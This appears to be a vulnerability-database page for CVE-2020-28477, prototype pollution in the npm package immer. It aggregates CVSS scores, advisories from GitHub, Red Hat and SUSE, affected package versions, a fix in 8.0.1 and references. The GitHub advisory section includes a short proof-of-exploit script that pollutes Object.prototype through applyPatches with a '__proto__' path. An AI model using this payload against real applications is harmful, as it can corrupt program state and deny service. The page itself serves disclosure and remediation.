CVE-2020-28477
Prototype Pollution
This affects all versions of package immer.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Prototype Pollution
This affects all versions of package immer.
- Record
CVE-2020-28477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:C - Updated
- 2026-11-02
EUVDEUVD-2021-0500
7.5
This affects all versions of package immer.
- Record
EUVD-2021-0500- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:C - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-9qmh-276g-x5pj
7.5
Prototype Pollution in immer
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
- Record
GHSA-9qmh-276g-x5pj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-471
- Updated
- 2026-11-02
NVD
7.5
This affects all versions of package immer.
- Record
CVE-2020-28477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Updated
- 2026-11-02
OSV
7.5
This affects all versions of package immer.
- Record
CVE-2020-28477- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-9qmh-276g-x5pj
7.5
Prototype Pollution in immer
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
- Record
GHSA-9qmh-276g-x5pj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-471
- Updated
- 2026-11-02
OSVRHSA-2021:1169
7.5
Red Hat Security Advisory: RHV Manager (ovirt-engine) 4.4.z [ovirt-4.4.5] security, bug fix, enhancement
- Record
RHSA-2021:1169- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2020-28477 No score
CVE-2020-28477 in immer - Patched by Root
Root has patched CVE-2020-28477 in the immer package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2020-28477- Updated
- 2026-11-02
OSVSUSE-SU-2021:0906-1 No score
Security update for SUSE Manager Server 4.1
This update fixes the following issues:
cobbler:
- Fix string replacement for @@xyz@@
- Better performing string replacements
grafana-formula:
- Set
supportedto false for unsupported systems (bsc#1182001) - Add SLES 15 SP3 and openSUSE Leap 15.3 to supported versions
mgr-libmod:
- Fix 'list_modules' JSON serialization (bsc#1182492)
mgr-osad:
- Adapt to new SSL implementation of rhnlib (bsc#1181807)
prometheus-exporters-formula:
- Add Ubuntu support for Prometheus exporters' reverse proxy
prometheus-formula:
- Set server hostname from pillar data (bsc#1180439)
py26-compat-salt:
- Do not crash when unexpected cmd output at listing patches (bsc#1181290)
rhnlib:
- Change SSL implementation to python ssl for better SAN and hostname matching support (bsc#1181807)
smdba:
- Do not remove the database if there is no backup and deal with manifest
spacewalk-backend:
- Open repomd files as binary (bsc#1173893)
- Fix requesting Release file in debian repos (bsc#1182006)
- Reposync: Fixed Kickstart functionality.
- Reposync: Fixed URLGrabber error handling.
- Reposync: Fix modular data handling for cloned channels (bsc#1177508)
spacewalk-client-tools:
- Adapt to new SSL implementation of rhnlib (bsc#1181807)
spacewalk-config:
- Increase apache ssl logs to include response code and process time
spacewalk-java:
- Homogenizes style in filter buttons, facilitating testability
- Cleanup sessions via SQL query instead of SQL function (bsc#1180224)
- Rebuild and improve rendering of error pages 404 and 500 pages (bsc#1181228)
- Fix user creation with pam auth and no password (bsc#1179579)
- Fix action chains for saltssh minions (bsc#1182200)
- FIX: Slow response of 'Software > Install' in Ubuntu minions (bsc#1181165)
- Do not call page decorator in HEAD requests (bsc#1181228)
- Add 'mgr_origin_server' to Salt pillar data (bsc#1180439)
- Ensure new files are synced just after writing them (bsc#1175660)
- Enable openscap auditing for salt systems in SSM (bsc#1157711)
- Detect debian products (bsc#1181416)
- Show packages from channels assigned to the targeted system (bsc#1181423)
- Add an API endpoint to allow/disallow scheduling irrelevant patches (bsc#1180757)
- Open raw output in new tab for ScriptRunAction (bsc#1180547)
- Default to preferred items per page in content lifecycle lists (bsc#1180558)
- Fix modular data handling for cloned channels (bsc#1177508)
- Fix: login gets an ISE when SSO is enabled (bsc#1181048)
spacewalk-utils:
- Fix modular data handling for cloned channels (bsc#1177508)
spacewalk-web:
- Replace CRLF in ssh priv key when bootstrapping (bsc#1182685)
- Upgrade immer to fix CVE-2020-28477
- Default to preferred items per page in content lifecycle lists (bsc#1180558)
- Fix sorting in content lifecycle projects and cluster tables (bsc#1180558)
susemanager:
- Add SLE 15 SP3 bootstrap repository definitions (bsc#1182008)
- Python3-dbus-python and dependencies not installed by default on JeOS SLE15 images, add them to the bootstrap repository list of packages for traditional (bsc#1182071)
susemanager-doc-indexes:
- Updated Command Line Registration with Salt section in the Client Configuration Guide for clarity.
- Adds openSUSE Leap SP migration to the SP migration section of the Client Configuration Guide
- Adds note that bootstrap procedure for selecting a parent channel is optional in Client Configuration Guide (bsc#1181635)
- Adds note about checking for valid UUIDs in fstab when backing up (bsc#1181814)
- Updated command for running configure proxy script when replacing a proxy
- Fixed bad SUSE Customer Center URL
susemanager-docs_en:
- Updated Command Line Registration with Salt section in the Client Configuration Guide for clarity.
- Adds openSUSE Leap SP migration to the SP migration section of the Client Configuration Guide
- Adds note that bootstrap procedure for selecting a parent channel is optional in Client Configuration Guide (bsc#1181635)
- Adds note about…
- Record
SUSE-SU-2021:0906-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
immernpm |
7.0.0 up to 8.0.1 | 8.0.1 |
ovirt-web-uiRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:1.6.7-1.el8ev | 0:1.6.7-1.el8ev |
ovirt-engineRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-backendRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-dbscriptsRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-health-check-bundlerRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-restapiRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setupRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-baseRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-plugin-cinderlibRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
Show 44 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ovirt-engine-setup-plugin-imageioRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-plugin-ovirt-engineRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-plugin-ovirt-engine-commonRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-plugin-vmconsole-proxy-helperRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-setup-plugin-websocket-proxyRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-toolsRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-tools-backupRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-vmconsole-proxy-helperRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-webadmin-portalRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
ovirt-engine-websocket-proxyRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
python3-ovirt-engine-libRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
rhvmRed Hat:rhev_manager:4.4:el8 From an advisory covering 4 CVEs |
before 0:4.4.5.9-0.1.el8ev | 0:4.4.5.9-0.1.el8ev |
immerRoot:npm |
before 8.0.1-aikido.1 | 8.0.1-aikido.18.0.1-aikido.2 |
@rootio/immerRoot:npm |
before 8.0.1-root.io.1 | 8.0.1-root.io.18.0.1-root.io.2 |
mgr-osadSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.5-2.9.4 | 4.1.5-2.9.4 |
rhnlibSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.3-4.3.2 | 4.1.3-4.3.2 |
spacewalk-backendSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.21-4.22.7 | 4.1.21-4.22.7 |
spacewalk-client-toolsSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.9-4.12.4 | 4.1.9-4.12.4 |
spacewalk-proxySUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.4-3.9.4 | 4.1.4-3.9.4 |
spacewalk-proxy-installerSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.6-3.3.2 | 4.1.6-3.3.2 |
spacewalk-webSUSE:Manager Proxy Module 4.1 From an advisory covering 4 CVEs |
before 4.1.23-3.18.6 | 4.1.23-3.18.6 |
cobblerSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 3.0.0+git20190806.32c4bae0-5.6.4 | 3.0.0+git20190806.32c4bae0-5.6.4 |
grafana-formulaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 0.4.0-3.6.2 | 0.4.0-3.6.2 |
mgr-libmodSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.7-3.16.2 | 4.1.7-3.16.2 |
mgr-osadSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.5-2.9.4 | 4.1.5-2.9.4 |
prometheus-exporters-formulaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 0.9.0-3.19.2 | 0.9.0-3.19.2 |
prometheus-formulaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 0.3.1-3.6.2 | 0.3.1-3.6.2 |
py26-compat-saltSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 2016.11.10-6.11.2 | 2016.11.10-6.11.2 |
rhnlibSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.3-4.3.2 | 4.1.3-4.3.2 |
smdbaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 1.7.8-0.3.6.2 | 1.7.8-0.3.6.2 |
spacewalk-backendSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.21-4.22.7 | 4.1.21-4.22.7 |
spacewalk-client-toolsSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.9-4.12.4 | 4.1.9-4.12.4 |
spacewalk-configSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.5-3.3.2 | 4.1.5-3.3.2 |
spacewalk-javaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.30-3.31.7 | 4.1.30-3.31.7 |
spacewalk-utilsSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.14-3.12.2 | 4.1.14-3.12.2 |
spacewalk-webSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.23-3.18.6 | 4.1.23-3.18.6 |
subscription-matcherSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 0.26-3.6.2 | 0.26-3.6.2 |
susemanagerSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.24-3.20.2 | 4.1.24-3.20.2 |
susemanager-doc-indexesSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1-11.28.4 | 4.1-11.28.4 |
susemanager-docs_enSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1-11.28.2 | 4.1-11.28.2 |
susemanager-schemaSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.19-3.24.4 | 4.1.19-3.24.4 |
susemanager-slsSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 4.1.21-3.26.2 | 4.1.21-3.26.2 |
xpp3SUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 1.1.4c-11.2.2 | 1.1.4c-11.2.2 |
xstreamSUSE:Manager Server Module 4.1 From an advisory covering 4 CVEs |
before 1.4.15-3.5.2 | 1.4.15-3.5.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2020-28477 is a high vulnerability (CVSS 7.5) in Immer Project Immer, published January 19, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.34%, the 83rd percentile. Fixed in immer 8.0.1.
References
snyk.io/vuln/SNYK-JS-IMMER-1019369
snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986
github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213
nvd.nist.gov/vuln/detail/CVE-2020-28477
github.com/immerjs/immer/issues/738
github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5
Show 87 moreShow less
npmjs.com/package/immer
github.com/advisories/GHSA-9qmh-276g-x5pj
access.redhat.com/errata/RHSA-2021:1169
access.redhat.com/security/updates/classification
access.redhat.com/documentation/en-us/red_hat_virtualization/4.4/html-single/technical_notes
bugzilla.redhat.com/show_bug.cgi?id=1145658
bugzilla.redhat.com/show_bug.cgi?id=1155275
bugzilla.redhat.com/show_bug.cgi?id=1649479
bugzilla.redhat.com/show_bug.cgi?id=1666786
bugzilla.redhat.com/show_bug.cgi?id=1688186
bugzilla.redhat.com/show_bug.cgi?id=1729359
bugzilla.redhat.com/show_bug.cgi?id=1787235
bugzilla.redhat.com/show_bug.cgi?id=1802844
bugzilla.redhat.com/show_bug.cgi?id=1837221
bugzilla.redhat.com/show_bug.cgi?id=1843882
bugzilla.redhat.com/show_bug.cgi?id=1858420
bugzilla.redhat.com/show_bug.cgi?id=1882273
bugzilla.redhat.com/show_bug.cgi?id=1884233
bugzilla.redhat.com/show_bug.cgi?id=1889823
bugzilla.redhat.com/show_bug.cgi?id=1895217
bugzilla.redhat.com/show_bug.cgi?id=1901503
bugzilla.redhat.com/show_bug.cgi?id=1901752
bugzilla.redhat.com/show_bug.cgi?id=1905108
bugzilla.redhat.com/show_bug.cgi?id=1905158
bugzilla.redhat.com/show_bug.cgi?id=1908441
bugzilla.redhat.com/show_bug.cgi?id=1910302
bugzilla.redhat.com/show_bug.cgi?id=1913198
bugzilla.redhat.com/show_bug.cgi?id=1914602
bugzilla.redhat.com/show_bug.cgi?id=1918162
bugzilla.redhat.com/show_bug.cgi?id=1919555
bugzilla.redhat.com/show_bug.cgi?id=1921104
bugzilla.redhat.com/show_bug.cgi?id=1921119
bugzilla.redhat.com/show_bug.cgi?id=1922200
bugzilla.redhat.com/show_bug.cgi?id=1924012
bugzilla.redhat.com/show_bug.cgi?id=1926854
bugzilla.redhat.com/show_bug.cgi?id=1927851
bugzilla.redhat.com/show_bug.cgi?id=1931514
bugzilla.redhat.com/show_bug.cgi?id=1931786
security.access.redhat.com/data/csaf/v2/advisories/2021/rhsa-2021_1169.json
access.redhat.com/security/cve/CVE-2019-20921
cve.org/CVERecord?id=CVE-2019-20921
nvd.nist.gov/vuln/detail/CVE-2019-20921
github.com/advisories/GHSA-9r7h-6639-v5mw
snyk.io/vuln/SNYK-JS-BOOTSTRAPSELECT-570457
access.redhat.com/security/cve/CVE-2020-25657
cve.org/CVERecord?id=CVE-2020-25657
nvd.nist.gov/vuln/detail/CVE-2020-25657
access.redhat.com/security/cve/CVE-2020-28458
cve.org/CVERecord?id=CVE-2020-28458
nvd.nist.gov/vuln/detail/CVE-2020-28458
snyk.io/vuln/SNYK-JS-DATATABLESNET-1016402
access.redhat.com/security/cve/CVE-2020-28477
cve.org/CVERecord?id=CVE-2020-28477
suse.com/support/update/announcement/2021/suse-su-20210906-1
bugzilla.suse.com/1157711
bugzilla.suse.com/1173893
bugzilla.suse.com/1175660
bugzilla.suse.com/1177508
bugzilla.suse.com/1179579
bugzilla.suse.com/1180145
bugzilla.suse.com/1180146
bugzilla.suse.com/1180224
bugzilla.suse.com/1180439
bugzilla.suse.com/1180547
bugzilla.suse.com/1180558
bugzilla.suse.com/1180757
bugzilla.suse.com/1180994
bugzilla.suse.com/1181048
bugzilla.suse.com/1181165
bugzilla.suse.com/1181228
bugzilla.suse.com/1181290
bugzilla.suse.com/1181416
bugzilla.suse.com/1181423
bugzilla.suse.com/1181635
bugzilla.suse.com/1181807
bugzilla.suse.com/1181814
bugzilla.suse.com/1182001
bugzilla.suse.com/1182006
bugzilla.suse.com/1182008
bugzilla.suse.com/1182071
bugzilla.suse.com/1182200
bugzilla.suse.com/1182492
bugzilla.suse.com/1182685
suse.com/security/cve/CVE-2020-26217
suse.com/security/cve/CVE-2020-26258
suse.com/security/cve/CVE-2020-26259
suse.com/security/cve/CVE-2020-28477
Left out here: the rest of 1 source description. The JSON record has them.